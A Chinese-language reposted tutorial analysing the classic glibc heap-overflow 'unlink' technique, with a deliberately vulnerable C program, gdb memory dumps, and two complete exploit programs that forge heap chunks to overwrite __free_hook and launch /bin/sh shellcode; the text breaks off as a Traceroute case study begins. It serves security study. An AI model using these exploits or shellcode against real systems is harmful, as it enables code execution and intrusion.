zoukankan      html  css  js  c++  java
  • 一种新的Heap区溢出技术分析

    转自:http://blog.donews.com/zwell/archive/2004/08/04/59092.aspx  

      ★ 前言

      通常的Heap区溢出只能利用覆盖某些函数指针,jumpbuf或者重要变量等方式来
      完成攻击。这方面内容请参看我原来翻译整理的<HEAP/BSS 溢出机理分析>:
      http://magazine.nsfocus.com/detail.asp?id=353
      如果系统中没有这些条件,尽管能够发生溢出,攻击者仍然很难执行自己的代码。
      这里介绍一种利用malloc/realloc/free来进行攻击的方法。这种方法使得Heap
      攻击的可能性大大增加了。
      
      注:下面所有的代码均在redhat 6.1(x86)Linux系统下测试通过。(glibc-2.1.3-21)

    ★ 目录

        1. 简单介绍
        2. 一个简单的例子
        3. malloc/calloc/realloc/free的基本概念
        4. 两种可能的攻击方法
        5. 针对弱点程序的两个演示程序
        6. 实例: Traceroute “-g”问题
        
    ★ 正文

    1. 简单介绍

    使用malloc()或者calloc()可以动态分配一段内存,并向用户返回一个内存地
    址,而实际上这个地址前面通常有8个字节的内部结构,用来记录分配的块长度
    以及一些标志。如果这些结构的内容被覆盖,在某些malloc实现下,可能导致
    攻击者将任意数据写到一个任意内存地址中去,从而可能改变程序执行流向,
    以至执行任意代码。

    2. 一个简单的例子

    下面我们来看一个简单的例子,这是一个非常典型的Heap溢出问题程序。它分
    配两块内存,然后向其中的一块拷贝了一些数据,由于没有检查数据长度,发
    生溢出。

    /* A simple vulnerable program for malloc/free test – vul.c
    *           by warning3@nsfocus.com (http://www.nsfocus.com)
    *                                     2001/03/05
    */

    #include <stdlib.h>

    int
    main (int argc, char *argv[])
    {
      char *buf, *buf1;

      buf = malloc (16); /* 分配两块16字节内存 */
      buf1 = malloc (16);
      
      if (argc > 1)
        memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */

      printf (“%#p [ buf  ] (%.2d) : %s \n”, buf, strlen (buf), buf);
      printf (“%#p [ buf1 ] (%.2d) : %s \n”, buf1, strlen (buf1), buf1);
      printf (“From buf to buf1 : %d\n\n”, buf1 – buf);

      printf (“Before free buf\n”);
      free (buf); /* 释放buf */
      printf (“Before free buf1\n”);
      free (buf1); /* 释放buf1 */

      return 0;
    } /* End of main */

    现在让我们来看看结果:

    [warning3@redhat-6 malloc]$ gcc -o vul vul.c -g
    [warning3@redhat-6 malloc]$ ./vul `perl -e ‘print “A”x16′`
    0×8049768 [ buf  ] (16) : AAAAAAAAAAAAAAAA <– 一切正常
    0×8049780 [ buf1 ] (00) :  
    From buf to buf1 : 24    <– 两个buffer之间相差 16+8=24 字节     

    Before free buf
    Before free buf1

    [warning3@redhat-6 malloc]$ ./vul `perl -e ‘print “A”x20′`
    0×8049768 [ buf  ] (21) : AAAAAAAAAAAAAAAAAAAA <– 为什么会是21字节??
    0×8049780 [ buf1 ] (00) :  <– 溢出的数据还没有进入buf1″境内”
    From buf to buf1 : 24

    Before free buf
    Before free buf1

    [warning3@redhat-6 malloc]$ ./vul `perl -e ‘print “A”x21′`
    0×8049768 [ buf  ] (21) : AAAAAAAAAAAAAAAAAAAAA <– 这次字节数对了
    0×8049780 [ buf1 ] (00) :  
    From buf to buf1 : 24

    Before free buf
    Segmentation fault (core dumped) <– 出现可爱的段错误了
    <– ” Before free buf1″怎么没有出现?说明段错误发生在执行free(buf)时

    [warning3@redhat-6 malloc]$ ./vul `perl -e ‘print “A”x28′`
    0×8049768 [ buf  ] (28) : AAAAAAAAAAAAAAAAAAAAAAAAAAAA
    0×8049780 [ buf1 ] (04) : AAAA <– 这回溢出的数据才算到达buf1″境内”
    From buf to buf1 : 24

    Before free buf
    Segmentation fault (core dumped)

    看起来,似乎这种段错误并不足以让我们执行自己代码,因为覆盖的地方既没有
    函数指针,也没有任何所能利用的变量或结构,更别提返回地址了。别着急,接
    下来我就会告诉你怎么利用free()来得到我们的shell.在正式开始之前,我要先
    讲一下malloc/calloc/realloc/free的基本概念。

    3. malloc/calloc/realloc/free的基本概念

    malloc/calloc/realloc/free这几个函数,是用来分配或释放动态内存的。

    目前很多Linux系统所用的malloc实现(包括libc5和glibc)都是由Doug Lea完成
    的。我们下面所讲的,都是指这一版本的实现。

    从Linux的Man手册MALLOC(3)中看到这些函数原型如下:

           void *calloc(size_t nmemb, size_t size);
           void *malloc(size_t size);
           void free(void *ptr);
           void *realloc(void *ptr, size_t size);

    calloc()用来分配nmemb个size大小的内存块,并返回一个可用内存地址。
             它会自动将得到的内存块全部清零。
             
    malloc()用来分配size大小的内存块,并返回一个可用内存地址。

    free()释放ptr所指向的内存。
           
    realloc()用来将ptr指向的一块内存的大小改变为size.

    我们需要注意的是free()和realloc()函数。它们都是比较危险的函数,如果
    所提供的地址指针ptr所指向的内存是已经释放的,或者不是由malloc类函数
    分配的话,就可能发生不可预料的情况。我们要利用的,也就是这些”不可预
    料”的情况。

    由于calloc()和malloc()差别不大,实际上都是调用的chunk_alloc()函数来
    进行分配的,区别只是calloc()在最后调用了一个宏 MALLOC_ZERO来将分配
    的内存块清零。因此后面除非特别指出,我们就只以malloc()为例.

    malloc()定义了一个内部结构malloc_chunk来定义malloc分配或释放的内存块。

    struct malloc_chunk
    {
      INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
      INTERNAL_SIZE_T size;      /* Size in bytes, including overhead. */
      struct malloc_chunk* fd;   /* double links — used only if free. */
      struct malloc_chunk* bk;
    };

    prev_size是上一个块的大小,只在上一个块空闲的情况下才被填充
    size是当前块的大小,它包括prev_size和size成员的大小(8字节)
    fd是双向链表的向前指针,指向下一个块。这个成员只在空闲块中使用
    bk是双向链表的向后指针,指向上一个块。这个成员只在空闲块中使用

    对于已分配的内存,除了分配用户指定大小的内存空间外,还在前面增加了
    malloc_chunk结构的前两个成员(8字节).一段已分配的内存结构如下图所示:

                0                              16                               32
        chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |               上一个块的字节数(如果上一个块空闲的话)        | |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |               当前块的字节数 (size)                         |M|P|
          mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |               用户数据开始…                                    .
                .                                                               .
                .               (用户可以用空间大小)                               .
                .                                                               |
    nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    这里chunk指针是malloc()在内部使用的,而返回给用户的是mem指针(chunk +
    8),实际上向用户隐藏了一个内部结构。也就是说,如果用户要求分配size字节
    内存,实际上至少分配size+8字节,只是用户可用的就是size字节(这里先不考
    虑对齐问题)。nextchunk指向下一个内存块。

    对于空闲(或者说已经释放的)块,是存放在一个双向循环链表(参见上面的
    malloc_chunk结构)中的。

    在内存中的分布基本如下图所示:

                0                              16                               32
        chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |               上一个块的字节数(prev_size)                        |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        `head:’ |               当前块的字节数 (size)                        |M|P|
          mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |               前指针(指向链表中的下一个块)                       |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |               后指针(指向链表中的上一个块)                       |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |               未被双向链表使用的空间(也可能是0字节长)            .
                .                                                               .
                .                                                               |
    nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        `foot:’ |              上一个块的字节数 (等于chunk->size)                 |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    大家可能主要到两个表中都有一个”P”标志,它是”当前块字节数”(chunk->size)
    中的最低一位,表示是否上一块正在被使用。如果P位置一,则表示上一块正在被
    使用,这时chunk->prev_size通常为零;如果P位清零,则表示上一块是空闲块,
    这是chunk->prev_size就会填充上一块的长度。

    “M”位是表示此内存块是不是由mmap()分配的,如果置一,则是由mmap()分配的,
    那么在释放时会由munmap_chunk()去释放;否则,释放时由chunk_free()完成。

    这两位标志相关定义为:

    #define PREV_INUSE 0×1
    #define IS_MMAPPED 0×2

    由于malloc实现中是8字节对齐的,size的低3位总是不会被使用的,所以在实际
    计算chunk大小时,要去掉标志位。例如:
    #define chunksize(p) ((p)->size & ~(SIZE_BITS))

    一次malloc最小分配的长度至少为16字节,例如malloc(0).(上面说的长度是指
    chunk的长度)

    了解了上面这些基本概念,我们再来看看free(mem)时做了些什么:

    首先将mem转换为chunk(mem-8),并调用chunk_free()来释放chunk所指的内存块。

    然后程序会检查其相邻(包括前后)的内存块是不是空闲的:
      如果是空闲块的话,就将该相邻块从链表中摘除(unlink),然后将这些相邻的空
      闲块合并;
      如果不是空闲块的话,就只是设置后一个相邻块的prev_size和size(清
      PREV_INUSE标志)。
       
    最后将得到的空闲块加入到双向链表中去。

    在进行unlink操作时,实际上就是执行了一个链表结点的删除工作。
    比如,如果要从链表中删除chunk结点,所要做得就是:
    chunk0->fd <== chunk->fd
    chunk1->bk <== chunk->bk

    如下所示:

         chunk0                      chunk                    chunk1
    +———————-+..+———————-+..+———————-+
    |prev_size|size|*fd|*bk|  |prev_size|size|*fd|*bk|  |prev_size|size|*fd|*bk|
    +—————-^—–+..+—————-+—+-+..+——————–^-+
                      |_________________________|   |_________________________|

    malloc实现中是使用了一个unlink宏来完成这个操作的,定义如下:
    /* take a chunk off a list */

    #define unlink(P, BK, FD)                                                   \
    {                                                                           \
      BK = P->bk;                                                               \
      FD = P->fd;                                                               \
      FD->bk = BK;                                                              \
      BK->fd = FD;                                                              \
    }         

    发现了吗?这里有两个写内存的操作。如果我们能够覆盖chunk->fd和chunk->bk
    的话,那么chunk->fd就会写到(chunk->bk + 8)这个地址,而chunk->bk就会被
    写到(chunk->fd + 12)这个地址!换句话说,我们可以将任意4个字节写到任意
    一个内存地址中去!!我们就可能改变程序的流程,比如覆盖函数返回地址、
    覆盖PLT表项、.dtor结构等等,这不正是我们所要的吗?

    free()和realloc()中都有unlink操作,因此我们要做的就是要想办法用合适的
    值来覆盖空闲块结构中的*fd和*bk,并让unlink能够执行。

    下面让我们再回到开头的那个问题程序,看一下如何攻击它。

    4. 两种可能的攻击方法

    先来看看弱点程序是怎么出错的:

    [warning3@redhat-6 malloc]$ gdb ./vul -q
    (gdb) b main
    Breakpoint 1 at 0×80484a6: file vul.c, line 10.
    (gdb) r `perl -e ‘print “A”x21′`
    Starting program: /home/warning3/malloc/./vul `perl -e ‘print “A”x20′`

    Breakpoint 1, main (argc=3, argv=0xbffffcd4) at vul.c:10
    10        buf = malloc (16); /* 分配两块16字节内存 */
    (gdb) n
    11        buf1 = malloc (16);
    (gdb) p/x buf
    $1 = 0×8049768
    (gdb) x/20x buf-8
    0×8049760:   p: 0×00000000      0×00000019  buf:0×00000000      0×00000000
    0×8049770:      0×00000000      0×00000000     *0×00000000     #0×00000889
    0×8049780:      0×00000000      0×00000000      0×00000000      0×00000000
    0×8049790:      0×00000000      0×00000000      0×00000000      0×00000000
    0×80497a0:      0×00000000      0×00000000      0×00000000      0×00000000

    [ p表示内存块内部指针 ]

    [ 注意上面加*号的地方,这里开始的结点是链表中的top结点, #号处是它的长度 ]

    (gdb) p/x *(buf-4)   <— 这里存放的是当前块的大小,设置了PREV_INUSE位
    $3 = 0×19
    (gdb) p/x *(buf-4)&~0×1 <– 算一下实际长度: 0×18 = 0×10 + 0×8
    $4 = 0×18
    (gdb) n
    13        if (argc > 1)
    (gdb) p/x buf1        <– 分配第二块内存  
    $5 = 0×8049780

    (gdb) x/20x buf-8
    0×8049760:    p:0×00000000      0×00000019  buf:0×00000000      0×00000000
    0×8049770:      0×00000000      0×00000000   p1:0×00000000      0×00000019
    0×8049780: buf1:0×00000000      0×00000000      0×00000000      0×00000000
    0×8049790:     *0×00000000     #0×00000871      0×00000000      0×00000000
    0×80497a0:      0×00000000      0×00000000      0×00000000      0×00000000

    [ p1表示内存块内部指针 ]

    [ 我们看到top结点后移了0x18字节,长度也缩小了0x18字节 ]

    (gdb) n
    13        if (argc > 1)
    (gdb) n
    14          memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
    (gdb) n
    16        printf (“%#p [ buf  ] (%.2d) : %s \n”, buf, strlen (buf), buf);
    (gdb) x/20x buf-8
    0×8049760:    p:0×00000000      0×00000019  buf:0×41414141      0×41414141
    0×8049770:      0×41414141      0×41414141  p1: 0×41414141      0×00000019
    0×8049780: buf1:0×00000000      0×00000000      0×00000000      0×00000000
    0×8049790:      0×00000000      0×00000871      0×00000000      0×00000000
    0×80497a0:      0×00000000      0×00000000      0×00000000      0×00000000

    [ 填入的20个字节已经溢出了buf,并覆盖到了第二个内存块的内部结构p1->prev_size ]
    [ 紧接着的那个字节0x19是p1块的长度,所以下面再计算strlen(buf)时得到的长度为 ]
    [ 21.现在你应该明白开头那个问题的答案了吧                                    ]

    (gdb) c
    Continuing.
    0×8049768 [ buf  ] (21) : AAAAAAAAAAAAAAAAAAAA
    0×8049780 [ buf1 ] (00) :  
    From buf to buf1 : 24

    Before free buf
    Before free buf1

    由于上面的情况下,p1的size部分没有被覆盖,因此系统认为buf前后的块都不
    是空闲的,因此就不会有unlink操作,也就不会有段错误发生了。如果我们再增
    加几个字节,就没有那么”幸运”了.

    (gdb) b 14
    Breakpoint 1 at 0×80484ca: file vul.c, line 14.
    (gdb) r `perl -e ‘print “A”x24′`
    Starting program: /home/warning3/malloc/./vul `perl -e ‘print “A”x24′`

    Breakpoint 1, main (argc=2, argv=0xbffffce4) at vul.c:14
    14          memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
    (gdb) x/20x buf-8
    0×8049760:      0×00000000      0×00000019      0×00000000      0×00000000
    0×8049770:      0×00000000      0×00000000      0×00000000      0×00000019
    0×8049780:      0×00000000      0×00000000      0×00000000      0×00000000
    0×8049790:      0×00000000      0×00000871      0×00000000      0×00000000
    0×80497a0:      0×00000000      0×00000000      0×00000000      0×00000000
    (gdb) n
    16        printf (“%#p [ buf  ] (%.2d) : %s \n”, buf, strlen (buf), buf);
    (gdb) x/20x buf-8
    0×8049760:      0×00000000      0×00000019      0×41414141      0×41414141
    0×8049770:      0×41414141      0×41414141      0×41414141      0×41414141
    0×8049780:      0×00000000      0×00000000      0×00000000      0×00000000
    0×8049790:      0×00000000      0×00000871      0×00000000      0×00000000
    0×80497a0:      0×00000000      0×00000000      0×00000000      0×00000000
    (gdb) b 21 <– 这时候buf1的内部结构(prev_size和size)已经被覆盖了
    Breakpoint 2 at 0×804855e: file vul.c, line 21.
    (gdb) c
    Continuing.
    0×8049768 [ buf  ] (24) : AAAAAAAAAAAAAAAAAAAAAAAA
    0×8049780 [ buf1 ] (00) :  
    From buf to buf1 : 24

    Before free buf

    Breakpoint 2, main (argc=2, argv=0xbffffce4) at vul.c:21
    21        free (buf); /* 释放buf */
    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0×400740c4 in chunk_free (ar_ptr=0×40108d40, p=0×8049760) at malloc.c:3100
    3100    malloc.c: No such file or directory.
    (gdb) x/i $pc
    0×400740c4 <chunk_free+268>:    testb  $0×1,0×4(%ecx,%esi,1)
    (gdb) i r $ecx
    ecx            0×41414140       1094795584 <– 这个是覆盖后p1的块长度
    (gdb) i r $esi
    esi            0×8049778        134518648  <– 这个是p1块的地址

    下面我们来看free()是怎么工作的,以便确定到底是哪里发生了段错误。注意
    下面的代码做了一些简化:

    void fREe(Void_t* mem)
    {

    (a) if (chunk_is_mmapped(p)) /* 如果IS_MMAPPED位被设置,则调用munmap_chunk() */
      {
        munmap_chunk(p);
        return;
      }

      p = mem2chunk(mem);  /* 将用户地址转换成内部地址: p = mem – 8 */

      chunk_free(ar_ptr, p);
    }
       
    static void
    internal_function
    chunk_free(arena *ar_ptr, mchunkptr p)
    {
      INTERNAL_SIZE_T hd = p->size; /* hd是当前块地址  */
      INTERNAL_SIZE_T sz;  /* 当前块大小 */
      INTERNAL_SIZE_T nextsz; /* 下一个块大小 */
      INTERNAL_SIZE_T prevsz; /* 上一个块大小 */
      
      …
      
      check_inuse_chunk(ar_ptr, p);

      sz = hd & ~PREV_INUSE;  /* 取得当前块的真实大小  */
      next = chunk_at_offset(p, sz); /* 得到下一个块的地址 */
      nextsz = chunksize(next); /* 得到下一个块的真实大小
                                 * #define chunksize(p) ((p)->size & ~(SIZE_BITS))
                                 */

    if (next == top(ar_ptr))  /* 如果下一个块是头结点,则与之合并 */
      {
        sz += nextsz;

    (b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/
        {
          prevsz = p->prev_size;
          p = chunk_at_offset(p, -prevsz);
          sz += prevsz;
          unlink(p, bck, fwd);  /* 从链表中删除上一个结点 */
        }

        set_head(p, sz | PREV_INUSE);
        top(ar_ptr) = p;

         …..  
      }

    /* 如果下一个块不是头结点 */  

    (b)  if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/
      {
        prevsz = p->prev_size;
        p = chunk_at_offset(p, -prevsz);
        sz += prevsz;

        if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
          islr = 1;
        else
          unlink(p, bck, fwd);   /* 从链表中删除上一个结点 */
      }

       /* 根据我的判断,刚才的程序,是在进行这个检查时发生段错误的 */
    (c)if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一个块是空闲的,则与之合并*/
      {
        sz += nextsz;

       if (!islr && next->fd == last_remainder(ar_ptr))
                                                  /* re-insert last_remainder */
        {
          islr = 1;
          link_last_remainder(ar_ptr, p);
        }
        else
          unlink(next, bck, fwd);/* 从链表中删除下一个结点 */

        next = chunk_at_offset(p, sz);
      }
      else
        set_head(next, nextsz); /* 如果前后两个块都不是空闲的,则将下一个块的size
                                     中的PREV_INUSE位清零 */  

      set_head(p, sz | PREV_INUSE);
      next->prev_size = sz;   /* 将下一个块的prev_size部分填成当前块的大小 */
      if (!islr)
        frontlink(ar_ptr, p, sz, idx, bck, fwd); /* 将当前这个块插入空闲块链表中 */

      …..
    }

    我们看到这里面有3个地方调用了unlink.如果想要执行它们,需要满足下列条件:

    1. (a) 当前块的IS_MMAPPED位必须被清零,否则不会执行chunk_free()
    2. (b) 上一个块是个空闲块 (当前块size的PREV_INUSE位清零)
        或者
        (c) 下一个块是个空闲块(下下一个块(p->next->next)size的PREV_INUSE位清零)

    我们的弱点程序发生溢出时,可以覆盖下一个块的内部结构,但是并不能修改当前
    块的内部结构,因此条件(b)是满足不了的。我们只能寄希望于条件(c).

    所谓下下一个块的地址其实是由下一个块的数据来推算出来的,因此,既然我们
    可以完全控制下一个块的数据,就可以让下下一个块的size的PREV_INUSE位为零。
    这样程序就会认为下一个块是个空闲块了。假设当前块为块1,下一个块为块2,下
    下一个块为块3,如下图所示:
        
          块1                        块2                      伪造的块3
    +———————-+————————+..+————————-+
    |prev_size|size|16bytes|prev_size2|size2|fd2|bk2|  |prev_size3|size3|任意数据|
    +———————-+————————+..+————————-+
    |                      |                           |
    |–> p                 |–>next                    |–>next2next

    next = p + (size & ~PREV_INUSE)
    next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED))

    因此,只要我们能够通过修改size2,使得next2next指向一个我们控制的地址。
    我们在这个地址伪造一个块3,使得此块的size3的PREV_INUSE位置零即可!

    然后,在fd2处填入要覆盖的地址,例如函数返回地址等等。Solar Designer建议
    可以使用__free_hook()的地址,这样再下一次调用free()时就会执行我们的代码。

    在bk2处可以填入shellcode的地址。

    实际构造的时候块2的结构如下:

      prev_size2 = 0×11223344  /* 可以使用任意值 */                                                  
      size2      = (next2next – next) /* 这个数值必须是4的倍数 */
      fd2        = __free_hook – 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
      bk2        = shellcode /* 这将导致fd2被写到shellcode + 8这个地址,所以需要
                                  在shellcode前面放一段跳转语句以跳过fd2 */
                                
    伪造的块3则要求很低,只需要让size3的最后一位为0即可:

    prev_size3 = 0×11223344 /* 可以使用任意值 */
    size3 = 0xffffffff & ~PREV_INUSE  /* 这里的0xffffffff可以用任意非零值替换 */

    这个伪造的块可以放在任意可能的位置,例如块2的前面或者后面。如果要放在
    块2的后面,由于size2是4个字节,因此如果距离比较小的话,那么size2是肯定
    要包含零字节的,这会中断数据拷贝,因此距离必须足够远,以至于四个字节均
    不为零,堆栈段是一个不错的选择,通过设置环境变量等方法我们也可以准确的
    得到块3的地址。
    如果我们要将块3放到块2的前面,那么size2就是个负值,通常是0xffffffxx等
    等。这肯定满足size2不为零的要求,另外,这个距离我们也可以很精确的指定。
    因此我们决定采用这种方法。

          块1                  (     块3     )                块2
    +—————————————+————————+
    |prev_size|size|…….|0×11223344|size3|prev_size2|size2|fd2|bk2|
    +—————————————+————————+
                    |       |<—- 8 字节 –>|
                    |                        |
                     |<—–  16字节 ——–>|

    在上面的图上,我们将块3的8字节的内部结构放在了块1的用户数据区中,而
    块3的用户数据区实际上是从块2开始的。但是既然我们根本不关心块3的prev
    _size以及数据段,而块2的prev_size我们也不关心,我们还可以有更简化的
    版本:将块3往右移动4个字节,即让siez3与prev_size2重合!

    |     块1                   |….   块3 ..|     块2                 |
    +—————————————+————————+
    |prev_size|size|………..| 0×11223344 |prev_size2|size2|fd2|bk2|
    +—————————————+————————+
                    |           |<– 4字节–>|  (size3)
                    |                        |
                     |<—–  16字节 ——–>|

    这样next2next – next = -4 = 0xfffffffc .则块2就可以重新构造一下:

      prev_size2 = 0×11223344 & ~PREV_INUSE  /* 我们用原来的size3代替 */
      size2      = 0xfffffffc /* 长度为-4 */
      fd2        = __free_hook – 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
      bk2        = shellcode
      
      至于块3的prev_size3,我们并不关心,因此并不需要再特别构造。这样一来,
      我们的工作就大大简化了,只需要构造一个块2就可以了!
      现在我们看看我们要做的事情:
      
      i. 使用32字节数据模板,前16字节是任意非零数值,而后16字节是我们伪造的
         块2
      
      ii. 找到__free_hook的地址。这个通过gdb可以方便的跟踪出来
          $ [warning3@redhat-6 malloc]$  gdb ./vul -e
          (gdb) b main
          Breakpoint 1 at 0×80484a6: file vul.c, line 10.
          (gdb) r
          Starting program: /home/warning3/malloc/./vul
          
          Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10
          10        buf = malloc (16); /* 分配两块16字节内存 */
          (gdb) p/x &__free_hook
          $2 = 0×401091b8
      
      iii. 确定shellcode的地址。并且要在shellcode前面增加一段跳转代码,以便
           跳过一个malloc_chunk结构,因为(__free_hook-12)这个值会被写到
           shellcode+8处.
           +——–+———————+—————+
           |jmp 0×0a|nopnop…nopnopnopnop|正常的shellcode|
           +——–+———————+—————+                
                     |<—-   10字节  —->|
                    
    5. 一个演示程序

    下面我们就可以来写溢出程序了,其实是相当简单的:

    /* Exploit for free() with unlinking next chunk – ex.c
    *           by warning3@nsfocus.com (http://www.nsfocus.com)
    *                                     2001/03/06
    */

    #include <stdio.h>
    #include <stdlib.h>

    #define __FREE_HOOK     0×401091b8  /* __free_hook()地址 */
    #define VULPROG “./vul”

    #define PREV_INUSE 0×1
    #define IS_MMAPPED 0×2

    char shellcode[] =
      ”\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90″ /*这一段是为了跳过垃圾数据*/
      ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
      ”\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
      ”\x80\xe8\xdc\xff\xff\xff/bin/sh”;

    main (int argc, char **argv)
    {
      unsigned int codeaddr = 0;
      char buf[128], fake_chunk[16];
      char *env[2];
      unsigned int *ptr;

      /* 计算shellcode在堆栈中的地址 */
      codeaddr = 0xc0000000 – 4 – (strlen (VULPROG) + 1) – (strlen (shellcode) + 1);

      env[0] = shellcode;
      env[1] = NULL;

      /* 伪造一个块结构 */
      ptr = (unsigned int *) fake_chunk;
      *ptr++ = 0×11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
      /* 设置长度为-4,这个值应当是4的倍数 */
      *ptr++ = 0xfffffffc;
      *ptr++ = __FREE_HOOK – 12 ;
      *ptr++ = codeaddr;
      
      bzero(buf, 128);
      memset (buf, ‘A’, 16); /* 填充无用数据 */
      memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));
      
      execle (VULPROG, VULPROG, buf, NULL, env);

    } /* End of main */

    运行一下看看:

    [warning3@redhat-6 malloc]$ gcc -o ex ex.c
    [warning3@redhat-6 malloc]$ ./ex
    0×8049768 [ buf  ] (32) : AAAAAAAAAAAAAAAA???????瑧@???
    0×8049780 [ buf1 ] (08) : 瑧@???
    From buf to buf1 : 24

    Before free buf
    Before free buf1
    bash$            <—  成功了!!

    是不是很简单?:-)

    小节:

    现在我们总结一下利用free(mem)来进行攻击的基本步骤。假设chunk是该块内部
    结构的指针(chunk = mem – 8)。

    我们有两种方法:
    1. 如果我们想利用上一块的unlink进行攻击,需要保证:
           I. chunk->size的IS_MMAPPED位为零
          II. chunk->size的PREV_INUSE位为零
         III. chunk + chunk->prev_size指向一个我们控制的伪造块结构;
          IV. 在一个确定的位置构造一个伪块
          
    2. 如果想利用下一个块的unlink进行攻击,需要保证:
           I.  chunk->size的IS_MMAPPED位为零
          II.  chunk->size的PREV_INUSE位为一
         III.  chunk + nextsz 指向一个我们控制的伪造块结构。
               (nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED))
          IV. 在一个确定的位置构造一个伪块        
          
    其中伪块(fake_chunk)的结构如下:

      fake_chunk[0]  = 0×11223344 & ~PREV_INUSE (只在第2种情况下有意义)
      fake_chunk[4]  = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); (只在第2种情况下有意义)
      fake_chunk[8]  = objaddr – 12 ; (objaddr是要覆盖的目标地址)
      fake_chunk[12] = shellcodeaddr ; (shellcodeaddr是shellcode的地址)

    至于具体使用上面哪种方法,需要根据实际情况确定。例如,如果你不能控制
    chunk->prev_size使其指向我们的伪块,那就不能用第一种方法了。

    我们再看一个利用上一块的unlink进行攻击的例子,只要将弱点程序的free(buf1)放到
    free(buf)前面即可,这样我们所free的buf1就是一个我们可以控制的内存块了。
    改动后的vul.c如下:

      printf (“Before free buf1\n”);
      free (buf1); /* 释放buf1 */
      printf (“Before free buf\n”);
      free (buf); /* 释放buf */

    看看我们的新演示程序吧:  

    /* Exploit for free() with unlinking previous chunk – ex1.c
    *           by warning3@nsfocus.com (http://www.nsfocus.com)
    *                                     2001/03/06
    */

    #include <stdio.h>
    #include <stdlib.h>

    #define __FREE_HOOK     0×401091b8      /* __free_hook()地址 */
    #define VULPROG “./vul”

    #define PREV_INUSE 0×1
    #define IS_MMAPPED 0×2

    char shellcode[] =
      ”\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90″   /*这一段是为了跳过垃圾数据 */
      ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
      ”\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
      ”\x80\xe8\xdc\xff\xff\xff/bin/sh”;

    main (int argc, char **argv)
    {
      unsigned int codeaddr = 0;
      char buf[128], fake_chunk[16];
      char *env[2];
      unsigned int *ptr;

      /* 计算shellcode在堆栈中的地址 */
      codeaddr = 0xc0000000 – 4 – (strlen (VULPROG) + 1) – (strlen (shellcode) + 1);

      env[0] = shellcode;
      env[1] = NULL;

      /* 伪造一个块结构。 */
      ptr = (unsigned int *) fake_chunk;
      *ptr++ = 0×11223344 & ~PREV_INUSE;
      *ptr++ = 0xfffffffc;
      *ptr++ = __FREE_HOOK – 12;
      *ptr++ = codeaddr;

      bzero (buf, 128);
      memset (buf, ‘A’, 16);
      ptr = (unsigned int *) (buf + 16);
      
      /* 让prev_size等于-8 ,使其指向我们伪造的块. 满足III条 */
      *ptr++ = 0xfffffff8;
      
      /* 只要保证next以及next->size可以访问即可。所以让size长度等于-4 ,
       * 如果要为正值,必须找到堆栈里的一个有效值,还要计算偏移,太麻烦。
       * 同时要清两个标记。满足I.,II.条
       */
      *ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED);
      
      /* 将伪造的块放到确定位置。满足第IV条 */
      memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));

      execle (VULPROG, VULPROG, buf, NULL, env);

    }/* End of main */

    让我们再来测试一下:

    [warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c
    [warning3@redhat-6 malloc]$ ./ex1
    0×8049768 [ buf  ] (40) : AAAAAAAAAAAAAAAA??????D3″????瑧@???
    0×8049780 [ buf1 ] (16) : D3″????瑧@???
    From buf to buf1 : 24

    Before free buf1 <– 先释放buf1
    Before free buf
    bash$ exit

    6. 实例: Traceroute “-g”问题
          
    有了上面的演示程序。我们再来看一个真实世界的例子。      

    Traceroute是用来检查通往目标网络的路由情况的一个工具,很多Unix系统都安
